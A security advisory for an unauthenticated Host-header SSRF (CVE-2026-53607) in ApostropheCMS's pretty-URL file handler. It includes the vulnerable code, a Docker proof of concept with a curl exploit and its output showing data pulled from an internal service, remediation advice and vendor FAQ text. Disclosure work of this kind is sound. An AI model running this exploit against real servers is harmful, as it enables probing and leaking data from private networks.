Summary
@apostrophecms/file pretty-URL Vulnerable to Unauthenticated SSRF via Host header
When prettyUrls: true is enabled on @apostrophecms/file (a documented SEO
feature for serving uploaded files at clean URLs), the public pretty-URL
handler builds the upstream URL using the raw Host HTTP request header:
proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`
That URL is then fetch'ed and the response body + headers are streamed
straight back to the requester. Because Host is fully attacker-controlled,
an unauthenticated remote attacker can pivot the apostrophe process to
issue outbound HTTP requests against any host it can reach on the private
network. The path component is constrained to/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup),
which keeps the impact narrow: cross-instance data exfiltration is
neutralised by cuid uniqueness, but blind-SSRF residuals remain
(network-topology mapping via response-code / timing differences and
verbose proxy/WAF 404 body disclosure). Verified on [email protected]
(latest); no fixed release exists.
- Affected:
apostrophe <= 4.30.0when@apostrophecms/fileis
configured withprettyUrls: trueand uploadfs is local (the default;
S3/CDN deployments produce an absoluteuglyUrland are not affected).
Details
modules/@apostrophecms/file/index.js (excerpt; the public GET route
registered when prettyUrls: true):
if (!self.options.prettyUrls) return;
return {
get: {
async [`${self.options.prettyUrlDir}/*`](req, res) {
const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
if (!matches) return res.status(400).send('invalid');
const [ , slug ] = matches;
if (slug.includes('..') || slug.includes('/')) {
return res.status(403).send('forbidden');
}
const file = await self.find(req, {
slug: `${self.options.slugPrefix}${slug}`
}).toObject();
if (!file) return res.status(404).send('not found');
const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
const proxyUrl = uglyUrl.startsWith('/')
? `${req.protocol}://${req.get('host')}${uglyUrl}` // <-- sink
: uglyUrl;
return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
}
}
};
lib/stream-proxy.js (excerpt):
module.exports = async function(req, url, { error }) {
const res = req.res;
if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
let response;
try { response = await fetch(url); } // <-- attacker-steered fetch
catch (e) { return send502(e); }
for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
const v = response.headers.get(header);
if (v != null) res.header(header, v);
}
res.status(response.status);
response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};
req.get('host') returns the unvalidated Host HTTP header from the request.
Express does not validate or restrict it, and apostrophe does not check the
constructed proxyUrl against an allowlist. The upstream's body and
content-type are forwarded verbatim, so any response the targeted host does
return at the constrained path will reach the attacker. In practice the path
constraint (/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniqueness
mean meaningful body exfiltration only occurs against verbose-404 / banner-
leaky proxies; against most internal services this degenerates to blind
SSRF (response-code + timing side channels).
Prerequisites are minimal: prettyUrls: true (a documented production SEO
option) + at least one file uploaded with a known slug. Slugs are publicly
enumerable in normal CMS use (file URLs appear in page content).
Distinct from the only published apostrophe SSRF advisory,
GHSA-pr28-mf3q-qpg6 ("Authenticated SSRF in rich-text widget import via
@apostrophecms/area validate-widget"), which is authenticated and lives in a
completely different module/route. This finding is unauthenticated, in@apostrophecms/file, via the Host header.
PoC
Three services on an isolated Docker network: mongo, internal (returns a
fake secret, never exposed to the host), apos:3000 (the only port the
host can reach). The host attacker proves it cannot reach internal
directly, then exfiltrates internal's response via one crafted request toapos.
app.js (normal apostrophe site, documented option only):
require('apostrophe')({
shortName: 'apos-ssrf-poc',
autoBuild: false,
modules: {
'@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
'@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
'@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
'@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
'poc-seed': {} // seeds one file doc on boot (= what an admin does via the upload UI)
}
});
docker-compose.yml:
services:
mongo: { image: mongo:7, networks: [poc] }
internal:
image: python:3.12-slim
command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
networks: [poc]
apos:
build: .
environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
depends_on: [mongo, internal]
ports: ["3000:3000"]
networks: [poc]
networks: { poc: { driver: bridge } }
exploit.sh (unauthenticated attacker on the host):
# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"
# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"
Build & run:
docker compose build && docker compose up -d && ./exploit.sh
Observed output ([email protected], clean stack):
[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL
[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2
RESULT: VULNERABLE, unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).
The internal service is unreachable from the host, but apostrophe fetches
it on the attacker's behalf and pipes the response body, secret included ,
straight back over the same HTTP response.
Impact
Unauthenticated remote SSRF, but the path component is constrained to/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup
on a slug the attacker already had to know). That constraint plus cuid
uniqueness rules out the cases I originally listed:
- Cloud metadata is not reachable, AWS IMDS
(/latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure
(/metadata/...) all live at fixed paths that don't overlap with/uploads/attachments/.... Same for Redis admin, Elasticsearch, and
most internal API surfaces. - Cross-instance data exfiltration is also ruled out. For an
internal target (another apos instance, MinIO bucket, etc.) to serve
a body at this path, it would need the exact local cuid + slug, which
realistically only happens when the target restored / shares the
public site's data, in which case the same content is reachable via
the front door anyway. Apostrophe also won't construct a pretty URL
for archived / restricted media, closing the older-snapshot edge case.
What remains is blind-SSRF residual:
- Network-topology mapping via response-code or response-time
differences across internal hosts. - Banner / version disclosure from verbose reverse-proxy or WAF 404
bodies. - Bypassing network egress controls, outbound requests originate from
the apostrophe server rather than the attacker.
The attack requires only the public pretty-URL endpoint and one
publicly-known file slug, both trivially available in normal CMS
operation.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-53607 has a CVSS score of 3.7 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.31.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Stop deriving the upstream URL from the request Host header. Two
complementary changes:
In
modules/@apostrophecms/file/index.js(the lines that buildproxyUrl), use a server-trusted absolute base URL (e.g.,apos.baseUrl
or the configured site URL) instead ofreq.get('host'):const proxyUrl = uglyUrl.startsWith('/') ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}` : uglyUrl;In
lib/stream-proxy.js, enforce a strict origin allowlist (the
configured apostrophe base URL + any configured CDN host) before callingfetch. Defence in depth: future callers ofstreamProxycannot
accidentally reintroduce the gap.
A regression test that sets Host: 169.254.169.254 (or any non-configured
host) on /files/<slug>.<ext> and asserts the upstream fetch is not
issued / the response is a 4xx would lock this down.
Frequently Asked Questions
- What is CVE-2026-53607? CVE-2026-53607 is a low-severity server-side request forgery (SSRF) vulnerability in apostrophe (npm), affecting versions <= 4.30.0. It is fixed in 4.31.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-53607? CVE-2026-53607 has a CVSS score of 3.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of apostrophe are affected by CVE-2026-53607? apostrophe (npm) versions <= 4.30.0 is affected.
- Is there a fix for CVE-2026-53607? Yes. CVE-2026-53607 is fixed in 4.31.0. Upgrade to this version or later.
- Is CVE-2026-53607 exploitable, and should I be worried? Whether CVE-2026-53607 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-53607 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-53607? Upgrade
apostropheto 4.31.0 or later.